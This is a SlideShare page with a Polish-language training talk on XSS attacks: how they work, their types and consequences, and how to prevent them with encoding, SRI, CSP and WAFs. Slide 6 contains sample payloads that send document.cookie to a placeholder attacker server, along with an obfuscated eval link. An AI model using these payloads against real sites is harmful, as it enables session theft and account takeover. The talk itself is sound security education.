Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
Upcoming SlideShare
What to Upload to SlideShare
Next
Download to read offline and view in fullscreen.

0

Share

Download to read offline

TGT#20 - Ataki XSS - Robert Charewicz

Download to read offline

TGT#20 - Ataki XSS - Robert Charewicz

Related Books

Free with a 30 day trial from Scribd

See all

Related Audiobooks

Free with a 30 day trial from Scribd

See all
  • Be the first to like this

TGT#20 - Ataki XSS - Robert Charewicz

  1. 1. ATAKI XSS Mechanizm działania i zapobieganie Robert Charewicz, 30.05.2018
  2. 2. KIEDY ZAWARTOŚĆ STRONY JEST WIDOCZNA W JS ?  Skrypt powinien pochodzić z tego samego źródła, co strona, której dotyczy.  To samo ograniczenie dotyczy ciasteczek (pliki cookie) przechowujących sesję użytkownika.  Przykłady: https://www.kainos.com i http://www.kainos.com – różnią się protokołami  Skrypt nie będzie w stanie pobrać zawartości drugiej strony. http://kainos.pl:8443 i http://kainos.pl:8080 - różnią się portem  http://www.kainos.pl i http://kainos.pl - różnią się domeną  https://kainos.pl/kariera i https://kainos.pl/o-nas – OK 
  3. 3. CZYM JEST XSS ? Cross Site Scripting – Atak polegający na wykonywaniu skryptu(ów) i przekazywaniu wyniku na inny serwer. Skrypt jest wykonywany na komputerze użytkownika. Najczęściej pobiera związane z nim dane – ciasteczka, tokeny, …, mając dostęp do całej zawartości strony.
  4. 4. KONSEKWENCJE ATAKU  Wykradanie ciastek – pozwala na przejęcie kontroli nad kontem bez posiadania haseł!  Wykradanie danych pól formularzy, w tym haseł  Przekierowania do innych stron (często identycznie wyglądających – phishing)  „Zawieszanie” się witryny dla wszystkich innych użytkowników (Denial Of Service)  Uruchomienie keyloggera – przechwytującego każdy wprowadzany znak z klawiatury  Wykonywanie akcji uprzywilejowanych, np. jako administrator!
  5. 5. RODZAJE XSS  Reflected - link zawierający w sobie parametr [kodowany skrypt], którego otwarcie przez użytkownika, wykonuje go.  Stored – przechowywany na serwerze (strona, baza danych, …). Wykonywany z chwilą otwarcia strony zawierającej złośliwy kod (na przykład w komentarzu na blogu)
  6. 6. PRZESYŁANIE DANYCH DO ATAKUJĄCEGO Obowiązuje nas Same Origin Policy… Nadal możemy zmusić przeglądarkę do załadowania czegokolwiek – przez manipulacje w samym źródle strony – cały czas mając zmienne pochodzące z JS!. Na przykład: <img src=”#” onerror=onerror=this.src='http://serwer/?c='+document.cookie> <script>window.location=’http://serwer/xss.php?xss=document.cookie’</script> <a href=” http://xyz.com/?s=eval%28String.fromCharCode%28118%2C97%2C114%2C32%2C9”>Click</a> https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
  7. 7. Prezentacja ataku
  8. 8. ZAPOBIEGANIE I OCHRONA  Nigdy nie ufamy temu, co wprowadza użytkownik!  Należy testować każdy parametr każdego żądania, oraz każde pole wprowadzania (input) w aplikacji.  Tam gdzie jest to możliwe, nie stosować znaków specjalnych.  Walidacja wprowadzanych danych przychodzących do serwera oraz po stronie klienta  Znaki specjalne - np. <, >, /, ”, &, {, }, oraz każdy inny, mogą zostać zapisane w postaci encji; na przykład: &lt; oznaczający znak mniejszości <. Należy sprawdzać ich występowanie w ciągach znaków.  Warto zastosować Subresource Integrity – pobierając skrypt ze stron zewnętrznych (które również kiedyś mogą zostać zaatakowane) <script src="https://code.jquery.com/jquery-2.1.4.min.js" integrity="sha384- R4/ztc4ZlRqWjqIuvf6RX5yb/v90qNGx6fS48N0tRxiGkqveZETq72KgDVJCp2TC" crossorigin="anonymous"></script>  Wykorzystanie CSP (ogranicza źródła z których mogą być pobierane inne zasoby w stronie): https://sekurak.pl/czym-jest-content-security-policy/
  9. 9. ZAPOBIEGANIE I OCHRONA – C.D.  Wykorzystanie WAF – Web Application Firewall – wykorzystujących zbiór ściśle przestrzeganych reguł, zezwalających na wybrane żądania w aplikacji. Posiadają one tryby Learning, w których ”uczą” się, jakie zapytania są prawidłowe. Przykłady – NAXSI (nginx) i ModSecurity (apache)  Sprawdzanie nagłówków strony – np. wymuszenie kodowania UTF-8 w tagach meta, nagłówki HTTP  Ostrożne podejście do linków (szczególnie w e-mailach) z dużą ilością zakodowanych encji:  %28118%2C97%2C114%2C32%2C92897%2C108%2C101%2C114%2C116%2C40%2C39%2C116 %2C101%2C115%2C116%2C39%2C41%2C59%29%29 […] https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet https://sekurak.pl/jak-w-prosty-sposob-zwiekszyc-bezpieczenstwo-aplikacji-webowej/
  10. 10. Q & A

TGT#20 - Ataki XSS - Robert Charewicz

Views

Total views

117

On Slideshare

0

From embeds

0

Number of embeds

2

Actions

Downloads

2

Shares

0

Comments

0

Likes

0

×